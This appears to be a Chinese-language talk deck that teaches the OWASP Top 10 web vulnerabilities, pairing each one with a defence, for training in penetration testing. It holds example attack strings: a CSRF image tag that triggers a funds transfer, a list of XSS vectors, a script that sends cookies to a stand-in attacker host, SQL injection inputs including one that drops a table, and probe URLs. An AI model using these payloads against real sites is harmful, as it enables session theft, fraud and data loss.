Web Application Security
我的網站安全嗎?
初探滲透測試系列
2014/05/30 @東華大學
About me!
林峻宇 (多多)
高雄第一科技大學 - 資管系大一
TDOHacker.org 網路組
EC-Council Certificated Ethical Hacker v8
Why Should We Discuss
The Web Application Security?
Who are you?
Script kiddie 暴走
第一次當____就上手
![](https://s3.amazonaws.com/media-p.slid.es/uploads/jun-yulin-aaronlin/images/438636/_____2014-05-30___2.19.55.png)
有洋蔥QAQ
![](http://www.techbang.com/system/excerpt_images/17144/original/e3ab8caf6a948456c920f2fe45976f68.jpg?1393843105)
http://www.exploit-db.com/google-dorks/
<del>不小心就進入後台了</del>
今天要談什麼?
OWASP TOP 10
![](https://www.owasp.org/images/3/34/Owasp_logo_normal.jpg)
Via WebGoat (代罪羔羊)
10.Unvalidated Redirects and Forwards
(未經驗證的重新導向與轉送)
http://example.com/redirects.php?url=http://hacker.com/
https://www.youtube.com/watch?v=kl_TMG2kiEI#t=23
如何安全的做Redirects
PHP
<?php /* Redirect browser */ header("Location: http://www.mysite.com/"); ?>
Response.Redirect("~/folder/Login.aspx")
redirect_to login_path
9. Using Components with Known Vulnerabilities
(使用已知漏洞元件)
![](https://s3.amazonaws.com/media-p.slid.es/uploads/jun-yulin-aaronlin/images/405467/_____2014-05-15___10.43.13.png)
HeartBleed 正夯 (CVE-2014-0160)
![](http://4.bp.blogspot.com/-7fvv4IUnWyk/U0mTQqlCL8I/AAAAAAAAATk/rQiFeLkr5J0/s1600/heart-bleed-bug-650x01.png)
WordPress 的cookie偽造漏洞
(CVE-2014-0165)
![](https://s3.amazonaws.com/media-p.slid.es/uploads/jun-yulin-aaronlin/images/405677/_____2014-05-15___11.43.11.png)
如何避免
使用最新版的套件,大多數的套件不提供老舊版本漏洞補丁
8. Cross-Site Request Forgery (CSRF/XSRF)
(跨站冒名請求)
CSRF 利用的是使用者對於瀏覽器的信任而達到攻擊目的
任何人只要知道 URL 與參數都可以對網站發出任何請求
CSRF 雖然跟 Session Hijacking 很類似,但是跟 Session Hijacking 不一樣的是 CSRF 並沒有真正控制整個 Session (例如取得 Session Token),而只是利用瀏覽器自動回傳使用者身分識別資訊 (如 Session Token) 的功能,讓發出的請求變成受害者的身分。
<img src=”http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#” width=”0″ height=”0″ />
如何避免
在使用者在input欄位裡輸入資料時加上token,來避免使用者偷渡惡意的指令進入網站;並且使用CAPTCHA等驗證方式來防止人為的大量散布惡意連結。
Synchronizer Token Pattern
Double Submit Cookies
https://www.owasp.org/index.php/PHP_CSRF_Guard
7. Missing Function Level Access Control
(缺少功能級別的存取控制)
看到這個網站你會怎麼做?
http://hackmeplea.se/
![](https://s3.amazonaws.com/media-p.slid.es/uploads/jun-yulin-aaronlin/images/408877/_____2014-05-16___4.31.31.png)
黑客總是會不小心...
![](https://s3.amazonaws.com/media-p.slid.es/uploads/jun-yulin-aaronlin/images/409407/_____2014-05-16___9.58.34.png)
![](https://s3.amazonaws.com/media-p.slid.es/uploads/jun-yulin-aaronlin/images/409418/_____2014-05-16___10.00.12.png)
沒做好權限控管 (Wikto)
![](https://s3.amazonaws.com/media-p.slid.es/uploads/jun-yulin-aaronlin/images/408892/_____2014-05-16___4.42.35.png)
如何防範
可以先預設每個網頁都要辨識身分後才能存取,
並且做好認證管制,確認每個頁面都有做好權限的控制
沒有按鈕可以連結過去的頁面並不代表攻擊者不會手動連過去
6. Sensitive Data Exposure
(敏感訊息暴露)
HTTP通訊協定均是採用未加密的方式連線,
在資料傳輸的任何一個節點利用Sniffer...
我的密碼沒加密
http://plainpass.com/
![](https://s3.amazonaws.com/media-p.slid.es/uploads/jun-yulin-aaronlin/images/409020/_____2014-05-16___6.20.37.png)
如何預防
-
使用SSL安全連線來傳輸
-
資料庫內的密碼必須使用不可逆的演算法做儲存
- => SHA(256), PBKDF2, BCrypt
5. Security Misconfiguration
(不當的安全性配置)
![](https://s3.amazonaws.com/media-p.slid.es/uploads/jun-yulin-aaronlin/images/411192/_____2014-05-18___1.35.24.png)
- 1. 在安裝完套裝程式後並未刪除或更改安全性配置,且使用默認帳號密碼,攻擊者可以輕易進入管理頁面,就幫你免費管理。
- 2. Directory listing未被禁用,可以找到Server上的任意文件。
- 3. 錯誤訊息直接回傳在使用者頁面上,此舉會透漏許多額外的訊息給予攻擊者。
- 4. 沒有刪除套件預裝範例,許多範例都有存在的漏洞。
4. Insecure Direct Object References
(不安全的物件參考)
網站沒有對於用戶的權限做驗證
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
修改網址中紅字的部分,就可以任意取得他人的資料
http://example.com/app/accountInfo?acct=notmyacct
ETC etc/passwd
![](https://s3.amazonaws.com/media-p.slid.es/uploads/jun-yulin-aaronlin/images/425139/_____2014-05-23___3.19.23.png)
加碼一起講
![](https://s3.amazonaws.com/media-p.slid.es/uploads/jun-yulin-aaronlin/images/425141/_____2014-05-23___3.20.54.png)
如何防禦
使用非直接對象引用,使用Index / Hash等方法,而非直接讀取檔案
訪問控制,判斷用戶是否有權限執行操作或訪問目標數據。
3. Cross-Site Scripting
(跨站腳本程式攻擊)
俗稱 XSS
黑客將程式碼注入到網頁上,其他的使用者在觀看網頁時就會受到影響。
這類攻擊通常包含了HTML以及Client端腳本語言。
常見XSS攻擊手法
<script>[code]</script>
<body onload="[code]"><a href="javasript:[code]">
<img src="javascript:[code]">
<input type="image" dynsrc="javascript:[code]">
<bgsound src="javascript:[code]">
<img src=&{[code]};>
<style type="text/javascript">[code]</style>
<object classid="clsid:..." codebase="javascript:[code]">
<iframe src="vbscript:[code]">
<a href="about:<sript>[code]</script>">
<xml src="javascript: [code]">
<script>alert(document.cookie)</script>
<script>document.write(document.cookie);</script>
<script>document.location='http://www.xxx.com/cookie.php?cookie='+escape(document.cookie) </script>
成功!
![](http://1.bp.blogspot.com/_b8lN_UbLoEc/S--PIeHqfqI/AAAAAAAAHa0/PA0hPXc9XYE/s1600/XSS+%E6%94%BB%E6%93%8A%E6%B5%81%E7%A8%8B.png)
圖片來源:
http://jax-work-archive.blogspot.tw/2010/05/xss.html
(Jax 的工作紀錄)
如何防禦
-
輸出頁面做Encoding檢查
-
使用白名單機制過濾,而不單只是黑名單
-
PHP使用htmlentities過濾字串
-
.NET使用Microsoft Anti-XSS Library
-
OWASP Cross Site Scripting Prevention Cheat Sheet
-
各種XSS攻擊的Pattern參考
詳細:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
2. Broken Authentication and Session Management
(失效的驗證與連線管理)
網站應用程式中自行撰寫的身分驗證相關功能有缺陷。例如:登入時無加密、SESSION無控管、Cookie未保護、密碼強度過弱等等。
應用程式SESSION Timeout沒有設定。
網站並沒有使用SSL / TLS加密,使用者在使用一般網路或者無線網路時,被攻擊者使用Sniffer竊聽取得User ID、密碼、SESSION ID等,進一步登入該帳號。
如何防禦
-
使用完善的COOKIE / SESSION保護機制
-
不允許外部SESSION
-
登入及修改資訊頁面使用SSL加密
-
設定完善的Timeout機制
-
驗證密碼強度及密碼更換機制
1. Injection
網站程式沒有對使用者輸入進行驗證
就被Injection惹
SQL Injection / LDAP Injection / XPath Injection / XQuery Injection / SSI Injection /
XML Injeciton
SQL Injection
String userName = request.getParameter("username"); String password = request.getParameter("password"); String query = "SELECT id FROM users WHERE username= "+ userName + "AND password="+ password;
Statement stmt = con.createStatement(query); ResultSet rs = con.executeQuery(query); if (rs.next()) { //Success!! ... } else { //Fail!! ... }
SQL Injection
假設今天用戶charlie的密碼是123456,那麼登入時,會
SELECT id FROM users WHERE username = 'charlie' AND password = '123456'
X' charlie
SELECT id FROM users WHERE username = 'X'charlie' AND password = '123456'
當然就會跑出SQL Exception
如果惡意輸入用戶名
username = "' OR '1'='1";
如果惡意輸入密碼
password = "' OR '1'='1";
原先的SQL會變成
strSQL = "SELECT id FROM users WHERE username ='' OR '1'='1' AND password = '' OR '1'='1';"
SELECT id FROM users;
如果輸入"' OR '1'='1";drop table users;-- 呢?
Testing for SQL Injection(1/2)
當參數是整數值,有可能是
select * from table where 字串名=輸入的值
HTTP://www.sample.com/test.asp?id=1'
出現錯誤
HTTP://www.sample.com/test.asp?id=1 and 1=1
運行與id =1 一樣
HTTP://www.sample.com/test.asp?id=1 and 1=2出現異常或與id=1不同
如果三步驟滿足,則一定有SQLInjection
https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OWASP-DV-005)
Testing for SQL Injection(2/2)
當參數是字串,有可能是
select * from table where 字串名='輸入的值'
HTTP://www.sample.com/test.asp?name=1'
出現錯誤
HTTP://www.sample.com/test.asp?name=1' and '1'='1
運行與id =1 一樣
HTTP://www.sample.com/test.asp?name=1' and '1'='2出現異常或與id=1不同
如果三步驟滿足,則一定有SQLInjection
https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OWASP-DV-005)
select * from table where 字串名='輸入的值'
如何防禦
-
避免將錯誤訊息顯示在網頁上,這樣會提供很多有效訊息給攻擊者
-
用最少的權限連結數據庫或是後台 (e.g. 只有DB的系統管理者才有權限新增或刪除,可以有效避免被執行DROP TABLE)
- 較敏感的訊息避免使用明文儲存,使用更安全的AES和SHA
- SQL查詢應設置Timeout,以防止使用通用符號(%, *)導致查詢消耗大量CPU及RAM,而發動DOS攻擊
講了這麼多,全部都要檢測嗎
不然呢 :3
Demo And Kali Time
Web Application Security - 我的網站安全嗎?
By Jun-Yu Lin (Aaron Lin)
Web Application Security - 我的網站安全嗎?
- 563